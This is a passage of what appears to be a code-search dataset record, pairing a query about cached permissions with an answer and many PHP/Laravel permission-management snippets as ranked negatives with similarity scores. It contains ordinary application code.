$bool=$permission->save();\n //redirection after insert\n if ($bool){\n return redirect()->route('permissions.index')->with('success','well done!');\n }else{\n return redirect()->back()->with('error','Something wrong!!!');\n }\n }\n return abort(403,config('yyxt.permission_deny'));\n }", "function permissionNameExists($permission)\r\n{\r\n\tglobal $mysqli,$db_table_prefix;\r\n\t$stmt = $mysqli->prepare(\"SELECT id\r\n\t\tFROM \".$db_table_prefix.\"permissions\r\n\t\tWHERE\r\n\t\tname = ?\r\n\t\tLIMIT 1\");\r\n\t$stmt->bind_param(\"s\", $permission);\t\r\n\t$stmt->execute();\r\n\t$stmt->store_result();\r\n\t$num_returns = $stmt->num_rows;\r\n\t$stmt->close();\r\n\t\r\n\tif ($num_returns > 0)\r\n\t{\r\n\t\treturn true;\r\n\t}\r\n\telse\r\n\t{\r\n\t\treturn false;\t\r\n\t}\r\n}", "public function store(Request $request)\n {\n $this->validate($request,[\n 'name' =>'required|max:50|unique:permissions',\n 'permission_for' =>'required'\n ]);\n $permissions = new Permission;\n $permissions->name = $request->name;\n $permissions->permission_for = $request->permission_for;\n $permissions->save();\n return redirect(route('permission.index'));\n }", "public function create()\n {\n if (Auth::user()->ability('superadministrator', 'create-permissions')){\n return view('permission.create',[\n 'pageheader'=>'权限',\n 'pagedescription'=>'添加',\n ]);\n }\n return abort(403,config('yyxt.permission_deny'));\n }", "public function addPermission($machinename)\n {\n $permission = Permission::whereMachinename($machinename)->first();\n\n $this->permissions()->attach($permission);\n }", "public static function newGroup($name,$title,$permissions,$arrangement=0,$icon=\"th\"){\n $permission_ids = [];\n $superAdmin = Role::where(['name'=>'Super Admin'])->first();\n foreach(explode('|',$permissions) as $permission) {\n $permission_model = Permission::firstOrCreate(['name' => $permission]);\n $permission_ids[] = $permission_model->id;\n }\n if(empty($permission_ids)){\n return false;\n }\n $superAdmin->givePermissionTo($permission_ids);\n $model = MenuGroup::firstOrNew([\n 'name' => $name,\n ]);\n $model->title = $title;\n $model->arrangement = $arrangement;\n $model->icon = $icon;\n $model->save();\n $model->permissions()->sync($permission_ids);\n return $model;\n }", "function isGuardA(String $guardName = 'web'):bool\n{\n return Auth::guard($guardName)->check();\n}", "public function store(Request $request)\n {\n $request->validate([\n 'name'=> 'required|unique:permissions'\n ]);\n Permission::create($request->all());\n return redirect()->route('permissions.index')->with('success','Permiso agregado correctamente');\n }", "public function store(Request $request)\n { \n\n $permission = new Permission();\n $permission->name = $request->name;\n $permission->guard_name = $request->guard_name;\n $permission->key = $request->key;\n $permission->type = $request->type;\n $permission->save();\n if ($permission->id) {\n return response()->json($permission, 201);\n }else{\n return response()->json('Something went wrong', 400);\n }\n }", "public function grant_permission(Role $Role, string $action): ?PermissionInterface;", "function getSystemPermission($name) {\n \t$role = $this->getRole();\n if(instance_of($role, 'Role')) {\n return (boolean) $role->getPermissionValue($name);\n } else {\n return false;\n } // if\n }", "public function store(Request $request)\n {\n $this->validate(request(), [\n 'name' => 'required|max:255',\n ]);\n $permission = Permission::create(request(['name']));\n $permission->syncRoles($request->roles);\n return redirect('backend/permissions');\n }", "public function create($roleName);", "public function givePermission($permissions);", "public function store(Request $request)\n {\n\n $data = $request->all();\n return Permission::create($data);\n }", "function acl_permission()\n {\n return app(PermissionRepositoryContract::class);\n }", "public function store(Request $request) {\n\n // validate the input\n $validation = Validator::make( $request->all(), [\n 'name'=>'required',\n ]);\n\n// redirect on validation error\n if ( $validation->fails() ) {\n // change below as required\n return \\Redirect::back()->withInput()->withErrors( $validation->messages() );\n }\n else {\n $name = $request['name'];\n $permission = new Permission();\n $permission->name = $name;\n\n $roles = $request['roles'];\n\n $permission->save();\n\n if (!empty($request['roles'])) { //If one or more role is selected\n foreach ($roles as $role) {\n $r = Role::where('id', '=', $role)->firstOrFail(); //Match input role to db record\n\n $permission = Permission::where('name', '=', $name)->first(); //Match input //permission to db record\n $r->givePermissionTo($permission);\n }\n }\n\n return redirect()->route('permissions.index')\n ->with('flash_message',\n 'Permission '. $permission->name.' added.');\n\n\n }\n }", "public function grant($permissionName)\n {\n if (strpos($permissionName, \",\") !== false) {\n throw new Exception\\InvalidName(\"Permission must not contain a comma\");\n }\n if (empty($permissionName)) {\n throw new Exception\\InvalidName(\"Permission must not be empty\");\n }\n\n $this->permissions[$permissionName] = true;\n $this->savePermissions();\n return true;\n }", "public function store(Request $request)\n {\n $this->authorize('create', Permission::class);\n\n if (str_replace(' ', '', $request->slug) != $request->slug) {\n return redirect()->back()->withInput()->with('error', __('laralum_permissions::general.slug_cannot_contain_spaces'));\n }\n $this->validate($request, [\n 'name' => 'required|max:255',\n 'slug' => 'required|max:255|unique:laralum_permissions',\n 'description' => 'required|max:500',\n ]);\n\n Permission::create($request->all());\n\n return redirect()->route('laralum::permissions.index')->with('success', __('laralum_permissions::general.permission_added'));\n }", "public function addPermission(string $slug, string $name): self\n {\n $this->items[] = [\n 'slug' => $slug,\n 'description' => $name,\n ];\n\n return $this;\n }", "public function add($name, $permissions = array('read'))\n {\n if(!class_exists('OAuthProvider'))\n {\n $this->logger->warn('No OAuthProvider class found on this system');\n return false;\n }\n\n $randomConsumer = bin2hex($this->provider->generateToken(25));\n $randomUser = bin2hex($this->provider->generateToken(20));\n $id = substr($randomConsumer, 0, 30);\n $params = array(\n 'name' => $name,\n 'clientSecret' => substr($randomConsumer, -10),\n 'userToken' => substr($randomUser, 0, 30),\n 'userSecret' => substr($randomUser, -10),\n 'permissions' => $permissions,\n 'verifier' => substr($randomConsumer, 30, 10),\n 'type' => self::typeUnauthorizedRequest,\n 'status' => self::statusActive,\n\t 'dateCreated' => time()\n );\n $res = $this->db->putCredential($id, $params);\n if($res)\n return $id;\n\n return false;\n }", "public function store(CreatePermissionRequest $request)\n {\n $permission = $this->permissions->create(\n $request->only(['name', 'display_name', 'description'])\n );\n\n return $this->respondWithItem($permission, new PermissionTransformer);\n }", "public function store(Request $request)\n {\n $this->validate($request, [\n 'name' => 'required|unique:permissions'\n ]);\n $permission = Permission::create([\n 'name' => $request->input(['name']),\n 'display_name' => $request->input(['display_name']),\n 'description' => $request->input(['description']),\n ]);\n return redirect()->route('admin.permissions.index')->withFlashSuccess(\"The permission <strong>$permission->name</strong> has successfully been created.\");\n }", "public static function add_permission($name, $description)\n {\n if (isset($name, $description)) {\n //if permission not found add\n if (!self::get_permission_by_name($name)) {\n global $DB;\n $permission = new \\stdClass();\n $permission->name = $name;\n $permission->description = $description;\n $permission->timecreated = time();\n $permission->timemodified = time();\n $permissionid = $DB->insert_record('permissions', $permission);\n return $permissionid;\n }\n }\n return false;\n }", "function permissionNameExists($permission) // admin_permissions.php\r\n\r\n{\r\n\r\n\tglobal $mysqli,$db_table_prefix;\r\n\r\n\t$stmt = $mysqli->prepare(\"SELECT id\r\n\r\n\t\tFROM \".$db_table_prefix.\"permissions\r\n\r\n\t\tWHERE\r\n\r\n\t\tname = ?\r\n\r\n\t\tLIMIT 1\");\r\n\r\n\t$stmt->bind_param(\"s\", $permission);\t\r\n\r\n\t$stmt->execute();\r\n\r\n\t$stmt->store_result();\r\n\r\n\t$num_returns = $stmt->num_rows;\r\n\r\n\t$stmt->close();\r\n\r\n\t\r\n\r\n\tif ($num_returns > 0)\r\n\r\n\t{\r\n\r\n\t\treturn true;\r\n\r\n\t}\r\n\r\n\telse\r\n\r\n\t{\r\n\r\n\t\treturn false;\t\r\n\r\n\t}\r\n\r\n}", "public function guard($guard = 'api')\n {\n return Auth::guard($guard);\n }", "public function create()\n {\n $this->authorize('create', Permission::class);\n\n return view('laralum_permissions::create');\n }", "function addRole( $name ) {\n $d = loadDB();\n \n $found = false;\n $highestID = 0;\n foreach ($d['roles'] as $role) {\n if ($name == $role['name']) {\n $found = true;\n }\n if ($role['id'] > $highestID)\n $highestID = $role['id'];\n }\n $highestID++;\n if (!$found) {\n array_push( $d['roles'], array( \"name\" => $name, \"id\" => $highestID, \"permissions\" => array() ) );\n saveDB( $d );\n } else {\n $highestID = -1; // indicate error\n }\n audit( \"addRole\", $name );\n return $highestID;\n }", "public function store(Request $request)\n {\n $this->validate($request, [\n // 'name' => 'required|unique:name|max:255',\n 'name' => 'required|max:255',\n 'guard_name' => 'required|max:255'\n ]);\n // dd($request);\n $user = UserPermission::create($request->all());\n\n return redirect()->route('user_permission.index')\n ->with('success','Permission created successfully')\n ->with(['menu'=>'user_permission']);\n // dd($request);\n }", "public function store(StoreRequest $request)\n{\n $AgentPermission=Permission::where('name','like','%Order%')->get();\n\n $user = User::create([\n 'name' => $request->name,\n 'email' => $request->email,\n 'password'=>Hash::make($request->password),\n 'password_confirmation'=>Hash::make($request->password_confirmation),\n 'mobile'=>$request->mobile,\n 'work'=>$request->work,\n 'is_agent'=>'1'\n ]);\n\n $user->assignRole([3]);\n\n foreach($AgentPermission as $a)\n {\n $user->givePermissionTo($a->id);\n\n }\n\n return $user;\n}", "public function permission()\n {\n try {\n $data = [\n 'action' => route('store.permission'),\n 'page_title' => 'Permission',\n 'title' => 'Add permission',\n 'permission_id' => 0,\n 'name' => (old('name')) ? old('name') : '',\n 'description' => (old('description')) ? old('description') : '',\n 'modules' => Module::get(),\n ];\n return $data;\n } catch(\\Exception $err){\n Log::error('message error in permission on RoleRepository :'. $err->getMessage());\n return back()->with('error', $err->getMessage());\n }\n }", "public function store(Request $request) {\n //Validate name and permissions field\n $this->validate($request, [\n 'name'=>'required|unique:roles|max:10',\n 'permissions' =>'required',\n ]\n );\n\n $name = $request['name'];\n $role = new Role();\n $role->name = $name;\n\n $permissions = $request['permissions'];\n\n $role->save();\n //Prolazak kroz petlju permissions\n foreach ($permissions as $permission) {\n $p = Permission::where('id', '=', $permission)->firstOrFail(); \n //poredi novu kreiranu rolu sa permissionom the newly created role and assign permission\n $role = Role::where('name', '=', $name)->first(); \n $role->givePermissionTo($p);\n }\n\n return redirect()->route('roles.index')\n ->with('flash_message',\n 'Role'. $role->name.' added!'); \n }", "public function has($name) {\n\t\t\n\t\tif($name == 'page-add' || $name == 'page-create') return true; // runtime only permissions\n\t\t\n\t\tif(empty($this->permissionNames)) {\n\n\t\t\t$cache = $this->wire('cache');\n\t\t\t$names = $cache->get(self::cacheName);\n\n\t\t\tif(empty($names)) {\n\t\t\t\t$names = array();\n\t\t\t\tforeach($this as $permission) {\n\t\t\t\t\t$names[$permission->name] = $permission->id;\n\t\t\t\t}\n\t\t\t\t$cache->save(self::cacheName, $names, WireCache::expireNever);\n\t\t\t}\n\n\t\t\t$this->permissionNames = $names;\n\t\t}\n\t\t\t\n\t\treturn isset($this->permissionNames[$name]);\n\t}", "function registerPermissionMapping( $internal, $system );", "public function create()\n {\n return view(\"role_permission.permission\");\n }", "public function store(Request $request)\n { \n $this->cpAuthorize();\n\n if (Gate::denies('cp')) {\n return response()->json(['msg'=>'Access denied'],403);\n }\n\n if(!$request->data_id){\n //we don't know who to assign the permission to\n return response()->json(['id'=>-1]);\n }\n \n\n $perm=new Permission();\n if($request->isgroup){\n //check permission \n $permExists=Permission::where('source_type',$request->source_type)\n ->where('source_id',$request->source_id)\n ->where('user_group_id',$request->data_id)->first();\n if($permExists){\n return response()->json(['id'=>-1]);\n }\n $perm->user_group_id=$request->data_id;\n }\n else{\n //check permission \n $permExists=Permission::where('source_type',$request->source_type)\n ->where('source_id',$request->source_id)\n ->where('user_id',$request->data_id)->first();\n if($permExists){\n return response()->json(['id'=>-1]);\n }\n $perm->user_id=$request->data_id;\n }\n $perm->source_type=$request->source_type;\n $perm->source_id=$request->source_id;\n $perm->create=0;\n $perm->read=0;\n $perm->update=0;\n $perm->delete=0;\n\n $perm->save();\n\n return response()->json( ['id'=>$perm->id]);\n\n }", "public function getPermission($permission) {}", "public function getPermission($permission) {}", "public function getPermission($permission);", "public function store(Request $request)\n {\n\n $rules = [\n 'name' => 'required|unique:permissions',\n ];\n\n $messages = [\n 'name.required' => 'Permission name is required!',\n 'name.unique' => 'Permission name already exists!',\n ];\n\n $validator = Validator::make($request->all(), $rules, $messages);\n\n if ($validator->fails()) {\n return redirect('admin/permission/create')->withErrors($validator)->withInput();\n }\n\n $permission = Permission::create(\n [\n 'display_name' => $request->get('name'),\n 'name' => str_slug($request->get('name'), '-'),\n 'description' => $request->get('description'),\n 'status' => $request->get('status')\n ]\n );\n\n if ($permission->id > 0) {\n $message = 'New '. $permission->display_name.' permission added.';\n $error = false;\n } else {\n $message = 'New '. $request->get('name') .' permission adding fail.';\n $error = true;\n }\n\n return redirect('admin/permission')->with(['message' => $message, 'error' => $error]);\n }", "private static function create( $name, $expires_at ) {\n\t\tglobal $wpdb;\n\n\t\t$r = $wpdb->query( $wpdb->prepare(\n\t\t\t\"INSERT IGNORE INTO `{$wpdb->base_prefix}itsec_mutexes` (`mutex_name`, `mutex_expires`) VALUES (%s, %s) /* LOCK */\",\n\t\t\t$name,\n\t\t\t$expires_at\n\t\t) );\n\n\t\tif ( ! $r || ! $wpdb->insert_id ) {\n\t\t\treturn 0;\n\t\t}\n\n\t\treturn (int) $wpdb->insert_id;\n\t}", "public function run()\n {\n Permission::factory(SC::PERMISSIONS_COUNT)->create();\n }", "public function store(PermissionCreateRequest $request)\n {\n $permission = $this->repository->create($request->all());\n return $this->response->withCreated('权限创建成功');\n }", "public function addNewRank($name, $permissions, $base_dir){\n if (!is_file($base_dir.\"/data/ranks.json\")){\n $data = array();\n }\n else{\n $data = file_get_contents($base_dir.\"/data/ranks.json\");\n $data = json_decode($data, true);\n }\n if (!isset($data[$name])){\n $data[$name] = $permissions;\n }\n else{\n return false;\n }\n if (is_file($base_dir.\"/data/ranks.json\")){\n unlink($base_dir.\"/data/ranks.json\");\n }\n $handle = fopen($base_dir.\"/data/ranks.json\", \"w+\");\n fwrite($handle, json_encode($data));\n fclose($handle);\n }" ]
[ "0.7217423", "0.71423", "0.6527177", "0.64753246", "0.642484", "0.6366493", "0.6309329", "0.62626964", "0.6161426", "0.59931606", "0.59532785", "0.5895326", "0.586328", "0.5838062", "0.5690708", "0.5608723", "0.5602094", "0.5568068", "0.55115604", "0.55066586", "0.5471528", "0.5461564", "0.54519624", "0.5422266", "0.5411547", "0.5410811", "0.5386932", "0.5386932", "0.53371286", "0.5321025", "0.53015465", "0.5262414", "0.52343667", "0.5213134", "0.5201878", "0.5190179", "0.5189967", "0.5186309", "0.5182265", "0.51747686", "0.5115701", "0.51072055", "0.50810075", "0.5078102", "0.5064337", "0.50625974", "0.50597167", "0.50383437", "0.5030341", "0.50263107", "0.50151837", "0.5009014", "0.5005735", "0.49977842", "0.4985065", "0.49846154", "0.49600595", "0.49525714", "0.49344397", "0.4924488", "0.4921788", "0.49203268", "0.4916224", "0.49147865", "0.4914111", "0.4900341", "0.489797", "0.48888257", "0.48847315", "0.4872952", "0.48516986", "0.48345053", "0.48242593", "0.4814477", "0.48138946", "0.48090056", "0.48072204", "0.48022416", "0.4794625", "0.4791556", "0.478852", "0.47821513", "0.4780926", "0.47764245", "0.4775866", "0.47742087", "0.4771644", "0.4758776", "0.4756611", "0.47536752", "0.47433704", "0.47312894", "0.47181645", "0.47181645", "0.47154057", "0.47144908", "0.47081897", "0.47066435", "0.46996433", "0.46932828" ]
0.7448185
0
Get the current cached permissions.
protected static function getPermissions(): Collection { return app(PermissionRegistrar::class)->getPermissions(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function cachedPermissions()\n {\n return Cache::remember(\n $this->getCachePrefix(),\n config('permissionsHandler.cacheExpiration'),\n function () {\n return $this->permissions;\n }\n );\n }", "public function cachedPermissions()\n {\n $rolePrimaryKey = $this->primaryKey;\n $cacheKey = 'guardian_permissions_for_role_' . $this->$rolePrimaryKey;\n if (Cache::getStore() instanceof TaggableStore) {\n return Cache::tags(Config::get('guardian.permission_role_table'))->remember($cacheKey, Config::get('cache.ttl', 60), function () {\n return $this->perms()->get();\n });\n } else {\n return $this->perms()->get();\n }\n }", "public function cachedPermissions()\n {\n $rolePrimaryKey = $this->primaryKey;\n $cacheKey = 'entrust-branch_permissions_for_role_'.$this->$rolePrimaryKey;\n return Cache::tags(Config::get('entrust-branch.permission_role_table'))->remember($cacheKey, Config::get('cache.ttl'), function () {\n return $this->perms()->get();\n });\n }", "public static function getAllPermissions()\n {\n return Cache::rememberForever('permissions.all', function() {\n return self::all();\n });\n }", "private function getPermissions()\n\t{\n\t\tif (!isset($this->permissions)) {\n\t\t\t$this->permissions = $this->permissions()->get();\n\t\t}\n\t\treturn $this->permissions;\n\t}", "public function getCurrentUserPermissions()\n {\n return $this->permissions()\n ->whereNull('expires_at')\n ->orWhere('expires_at', '>', now())\n ->get();\n }", "public function userCachedPermissions(): array\n {\n $cacheKey = 'gatekeeper_permissions_for_' . $this->userModelCacheKey() . '_' . $this->user->getKey();\n\n $permissions = $this->user->permissions->first()?->toArray() ?? [];\n\n if (!Config::get('gatekeeper.cache.enabled')) {\n return $permissions;\n }\n\n return Cache::remember($cacheKey, Config::get('gatekeeper.cache.expiration_time', 60), function () use ($permissions) {\n return $permissions;\n });\n }", "public function permissions() {\n\t$this->loadPermissions();\n\treturn $this->permissions;\n}", "public function cachePermissions()\n\t{\n\t\t$this->userPermissions = $this->userPermissions()->get(); // refresh directly applied permissions\n\t\t$this->roles = $this->roles()->get(); // refresh roles\n\n\t\t$this->permissions = []; // clear permissions array in case it has already been populated\n\n\t\t$permissions = $this->getPermissions(true); // get permissions array and ignore currently cached permissions set\n\n\t\tif (!empty($permissions))\n\t\t\t$permissions = array_values($permissions);\n\t\telse\n\t\t\t$permissions = null;\n\n\t\t$data = ['permissions' => $permissions];\n\n\t\tif ($this->cachedPermissionsRecord)\n\t\t\t$this->cachedPermissionsRecord->update($data);\n\t\telse\n\t\t\t$this->cachedPermissionsRecord()->save(new CachedPermissionsRecord)->update($data);\n\t}", "public function validPermissions()\n {\n if (!ConfigHelper::cacheEnabled()) {\n return $this->getCurrentUserPermissions();\n }\n\n $cacheKey = 'laravelroles_permissions_' . Users::userModelCacheKey() . '_' . $this->getKey();\n\n return Cache::remember($cacheKey, ConfigHelper::cacheExpiryTime(), function () {\n return $this->getCurrentUserPermissions();\n });\n }", "public function getPermissions() {}", "public function getPermissions() {}", "public function permissions()\n\t{\n\t\treturn $this->get('permissions');\n\t}", "protected function getPermissions()\n {\n return Permission::with('roles')->get();\n }", "public function getPermissions();", "public function getPermissions()\n {\n return $this->get(self::PERMISSIONS);\n }", "public function getPermissions()\n {\n return $this->permissions;\n }", "public function getPermissions()\n {\n return $this->permissions;\n }", "public function getPermissions()\n {\n return $this->permissions;\n }", "public function permissions()\n {\n\n return Permission::all();\n }", "public function permissions()\n {\n return $this->permissions;\n }", "public function getPermissions() {\n if (!$this->cache_permissions) {\n $this->cache_permissions = array();\n //berk... legacy permission code... legacy db functions... berk!\n $sql=\"SELECT ugroup_id, permission_type \n FROM permissions \n WHERE permission_type LIKE 'PLUGIN_TRACKER_FIELD%'\n AND object_id='\". db_ei($this->getId()) .\"' \n ORDER BY ugroup_id\";\n \n $res=db_query($sql);\n if (db_numrows($res) > 0) {\n while ($row = db_fetch_array($res)) {\n $this->cache_permissions[$row['ugroup_id']][] = $row['permission_type'];\n }\n }\n }\n return $this->cache_permissions;\n }", "public function getPermissionsListAttribute()\n {\n return Permission::orderBy('resource')->get();\n }", "public function & GetPermissions ();", "public function get_permissions()\n\t{\n\t\treturn $this->area->get_permissions($this->path);\n\t}", "public function getPermissions()\n\t{\n\t\tif(isset($this->permissions))\n\t\t{\n\t\t\treturn $this->permissions;\n\t\t}\n\n\t\t$request = new ColoCrossing_Http_Request('/', 'GET');\n\t\t$executor = $this->getHttpExecutor();\n\t\t$response = $executor->executeRequest($request);\n\t\t$content = $response->getContent();\n\n\t\treturn $this->permissions = isset($content) && isset($content['permissions']) ? $content['permissions'] : array();\n\t}", "protected function getCurrentPermission() {}", "abstract public function getPermissions();", "function getPermissions() {\n // For eficientcy, we will just store the names, not the objects\n if ( is_null($this->allPermissions) ) {\n $tmpRole = FactoryObject::newObject(\"_Permission\");\n $this->allPermissions = $tmpRole ->getAllPermissionByIdRole($this->getId());\n } \n\n return $this->allPermissions;\n }", "public function getPermissions()\r\n {\r\n return $this->getGuardUser()->getPermissions();\r\n }", "public static function getAllPermissions()\n\t{\n\t\treturn Permission::all();\n\t}", "static function getPermissions() {\n if(self::$permissions === false) {\n self::$permissions = new NamedList(array(\n\n ));\n\n EventsManager::trigger('on_system_permissions', array(&self::$permissions));\n } // if\n\n return self::$permissions;\n }", "public function getAllPermissions();", "public function getAllPermissions();", "public function getPermissions() {\n return $this->getGuardUser()->getPermissions();\n }", "protected function getPermissions()\n {\n if (!$this->tablePermissionsExists()) {\n return [];\n }\n return Permission::with('roles')->get();\n }", "public function getPermissions(): array {\n\t\tif ($this->permissions === null) {\n\t\t\t$this->permissions = UserQueries::getUserPermissions($this->id);\n\t\t}\n\n\t\treturn $this->permissions;\n\t}", "public function cachedPermissions($module = null) {\n $rolePrimaryKey = $this->primaryKey;\n $cacheKey = \"entrust_permissions_for_role_{$this->$rolePrimaryKey}_$module\";\n return Cache::tags(config('entrust.permission_role_table'))->remember($cacheKey, config('cache.ttl'), function () use($module) {\n return $this->perms()->join('koi_modulo', 'koi_modulo.id', '=', 'koi_permiso_rol.module_id')->where('koi_modulo.name', $module)->get();\n });\n }", "public function permissions()\n {\n return $this->permissionModel->findAll();\n }", "public function getPermissions()\n\t{\n\t\tif(!$this->id)\n\t\t\treturn array();\n $role= UserRole::model()->getUserRole($this);\n if(!$role->role_id){\n return array();\n }\n\t\t$permissions = array();\n\t\t$sql = \"SELECT pa.ACTION_ID AS id, pa.key from \". PermissionMap::model()->tableName().\" pm left join \". PermissionAction::model()->tableName().\" pa on pa.ACTION_ID = pm.permission_id where pm.type = '\".PermissionMap::TYPE_ROLE.\"' and pm.principal_id = {$role->role_id}\";\n\t\t\tforeach (Yii::app()->db->cache(500)->createCommand($sql)->query()->readAll() as $permission)\n\t\t\t\t$permissions[$permission['id']] = $permission['key'];\n\t\t\n\n\n\t\t// Direct user permission assignments\n\t\t$sql = \"select pa.ACTION_ID as id, pa.key from \". PermissionMap::model()->tableName().\" pm left join \". PermissionAction::model()->tableName().\" pa on pa.ACTION_ID = pm.permission_id where pm.type = '\".PermissionMap::TYPE_USER.\"' and pm.principal_id = {$this->id}\";\n\t\tforeach (Yii::app()->db->cache(500)->createCommand($sql)->query()->readAll() as $permission)\n\t\t\t$permissions[$permission['id']] = $permission['key'];\n\n\n\t\treturn $permissions;\n\t}", "public function getAllPermissions(): array;", "public function getAllPermissions()\n {\n return $this->repository->getAllPermissions();\n }", "public function getPossiblePermissions();", "public function cachedPermissionsRecord()\n\t{\n\t\treturn $this->hasOne('Regulus\\Identify\\Models\\CachedPermissionsRecord');\n\t}", "function getPermissions() {\n\t\t$permissions = array();\n\t\t//everyone gets permission to log in and out\n\t\t$permissions[]='users:logout';\n\t\t$permissions[]='users:login';\n\t\t//Import the User Model so we can build up the permission cache\n\t\tApp::import('Model', 'User');\n\t\t$thisUser = new User;\n\t\t//Now bring in the current users full record along with groups\n\t\t$thisRoles = $thisUser->find(array('User.id' => $this->Auth->user('id')));\n\t\t$thisRoles = $thisRoles['Role'];\n\t\tforeach($thisRoles as $thisRole) {\n\t\t\t$thisPermissions = $thisUser->Role->find(array('Role.id' => $thisRole['id']));\n\t\t\t$thisPermissions = $thisPermissions['Permission'];\n\t\t\tforeach($thisPermissions as $thisPermission) {\n\t\t\t\t$permissions[] = $thisPermission['name'];\n\t\t\t}\n\t\t}\n\t\treturn $permissions;\n\t}", "function permissions_get ()\n{\n\tstatic $perms = array (\n\t\t\t\"read\"\t\t=> 0x0001,\n\t\t\t\"create\"\t=> 0x0002,\n\t\t\t\"change\"\t=> 0x0004,\n\t\t\t\"delete\"\t=> 0x0008,\n\t\t\t\"password\"\t=> 0x0040,\n\t\t\t\"admin\"\t\t=> 0x8000,\t// admin\n\t\t\t);\n\treturn $perms;\n}", "function get_permission_list() {\n\t\treturn $this->db->get('system_security.security_permission');\n\t\t\n\t}", "private function cachePermissions(): void\n {\n Cache::put($this->cacheKey(), [\n 'isPayor' => $this->isPayor,\n 'isAgencyBankAccountSetup' => $this->isAgencyBankAccountSetup,\n 'canViewDocumentation' => $this->canViewDocumentation,\n ]);\n }", "public function get_available_permissions()\n {\n try {\n $url = $this->get_url(\"graph\", \"me\", array(\"metadata\" => \"1\"));\n $data = $this->api_call($url);\n //echo $url;\n } catch (Exception $ex) {\n print_r($ex->getMessage());\n exit;\n }\n\n return $this->convert_array_to_object($data->metadata);\n }", "public function getPermissions()\n {\n /*\n SELECT\n DISTINCT p.constant\n FROM\n user_permissions up\n INNER JOIN permissions p on up.permission_id = p.id\n WHERE\n up.user_id = 2\n */\n $userPermissions = DB::table('user_permissions')\n ->join('permissions', 'user_permissions.permission_id', '=', 'permissions.id')\n ->where('user_permissions.user_id', '=', $this->id)\n ->select('permissions.constant')\n ->distinct()\n ->get();\n\n // Convert results to single dimensional array of permission constants\n $perms = array();\n foreach ($userPermissions as $permission) {\n $perms[] = $permission->constant;\n }\n return $perms;\n }", "public function getPermissions() :array\n {\n return $this->permissions;\n }", "public function getAllPermissions() {\n return $this->getGuardUser() ? $this->getGuardUser()->getAllPermissions() : array();\n }", "public static function getPermissions(): array\n {\n return [];\n }", "public function getAllPermissions()\r\n {\r\n return $this->getGuardUser() ? $this->getGuardUser()->getAllPermissions() : array();\r\n }", "function getPermissions($model) {\r\n\t\t$user = $model->getUser();\r\n\t\tif (empty($user)) {\r\n\t\t\treturn false;\r\n\t\t}\t\t\r\n\t\tif (!array_key_exists($model->alias, $this->cache)) {\r\n\t\t\t$this->cache[$model->alias] = $model->permissions($user['Contact']);\r\n\t\t}\t\t\r\n\t\treturn $this->cache[$model->alias];\r\n\t}", "public function index()\n {\n return $permissions = $this->permission->all();\n }", "public function getPermissions(): array {\n\t\treturn [];\n\t}", "public function getPermissions()\r\n\t{\r\n\t\tif($this->accessToken === null) {\r\n\t\t\tthrow new SkydriveException_InvalidToken();\r\n\t\t}\r\n\t\t$url = self::baseUrl . \"permissions?access_token=\" . $this->accessToken;\r\n\t\t$result = $this->fetch($url);\r\n\t\treturn $result;\r\n\t}", "public function permissions()\n {\n if (is_array($this->permissions)) {\n return $this->permissions;\n }\n\n if ($this->permissions) {\n return [ $this->permissions ];\n }\n\n return [];\n }", "protected function getPermissions($permissions)\n\t{\n\t\treturn Permission::whereIn('type', $permissions)->get();\n\t}", "public function getPermissions() {\n\t\treturn $this->addressBookInfo['permissions'];\n\t}", "public function getAll()\n {\n $permissionArray = [];\n foreach ($this->permissions as $permission => $status) {\n if ($status) {\n $permissionArray[] = $permission;\n }\n }\n return $permissionArray;\n }", "public function getAllAvailable()\n {\n return $this->allPermissions;\n }", "public static function getAll()\n {\n return Role::with(['permissions'])->get();\n }", "public function getAllPermissionsAttribute() {\n $permissions = [];\n foreach (Permission::all() as $permission) {\n if (Auth::user()->can($permission->name)) {\n $permissions[] = $permission->name;\n }\n }\n return $permissions;\n }", "public function getDirectPermissions(): Collection\n {\n return $this->permissions;\n }", "public function getUserPermissions()\n {\n /** @var WebApplication|ConsoleApplication $this */\n return $this->get('userPermissions');\n }", "public function getEvaluatePermissions() {}", "public static function permissions(): array\n {\n return [];\n }", "public function allowedPermissions()\n {\n return $this->permissions()->wherePivot('has_access', true)->orderBy('name');\n }", "private function loadPermissions(): void\n {\n $permissions = Cache::get($this->cacheKey());\n\n $this->isPayor = $permissions['isPayor'];\n $this->isAgencyBankAccountSetup = $permissions['isAgencyBankAccountSetup'];\n $this->canViewDocumentation = $permissions['canViewDocumentation'];\n }", "private function getSerializedPermissionsForCache(): array\n {\n $this->except = config('permission.cache.column_names_except', ['created_at', 'updated_at', 'deleted_at']);\n\n $permissions = $this->getPermissionsWithRoles()\n ->map(function ($permission) {\n if (! $this->alias) {\n $this->aliasModelFields($permission);\n }\n\n return $this->aliasedArray($permission) + $this->getSerializedRoleRelation($permission);\n })->all();\n $roles = array_values($this->cachedRoles);\n $this->cachedRoles = [];\n\n return ['alias' => array_flip($this->alias)] + compact('permissions', 'roles');\n }", "public function getPermissionsAttribute()\n\t{\n\t\treturn unserialize($this->attributes['permissions']);\n\t}", "public function permissions() : ?array\n {\n if ($apiRoot = $this->request('GET', $this->identity->getUrl('/')))\n {\n $payload = $apiRoot->getPayload();\n\n if (isset($payload['permissions']) && is_array($payload['permissions']))\n {\n return $payload['permissions'];\n }\n }\n\n return null;\n }", "public function getAllPermissionsAttribute()\n {\n // Check for inherited permissions and merge them in\n if($this->has_parent){\n return $this->permissions->merge(\n $this->parent->all_permissions\n );\n }\n\n return $this->permissions;\n }", "private function loadPermissions() {\n\tif ($this->permissionsloaded) {return;}\n\t//$mem = DStructMemCache::getInstance();\n\t//if (!$this->permissions = $mem->get(md5(get_class($this->activecontainer).$this->areaname.$this->activecontainer->getID()))) {\n\t\t$this->permissions = $this->activecontainer->permissions();\n\t//\t$mem->set(md5(get_class($this->activecontainer).$this->areaname.$this->activecontainer->getID()), $this->permissions);\n\t//}\n\t$this->permissionsloaded = true;\n}", "public static function getPermission()\n {\n $permissions = Permission::select('id', 'display_name')->get();\n\n return response()->json($permissions);\n }", "public function getACL(){\n\t\tif(!isset($this->subsite_acl_cache)){\n\t\t\t$this->subsite_acl_cache = false;\n\n\t\t\t$query = \"SELECT value\";\n\t\t\t$query .= \" FROM \" . get_config(\"dbprefix\") . \"private_settings\";\n\t\t\t$query .= \" WHERE name = 'subsite_acl'\";\n\t\t\t$query .= \" AND entity_guid = \" . $this->getGUID();\n\n\t\t\tif($setting = get_data_row($query)){\n\t\t\t\t$this->subsite_acl_cache = 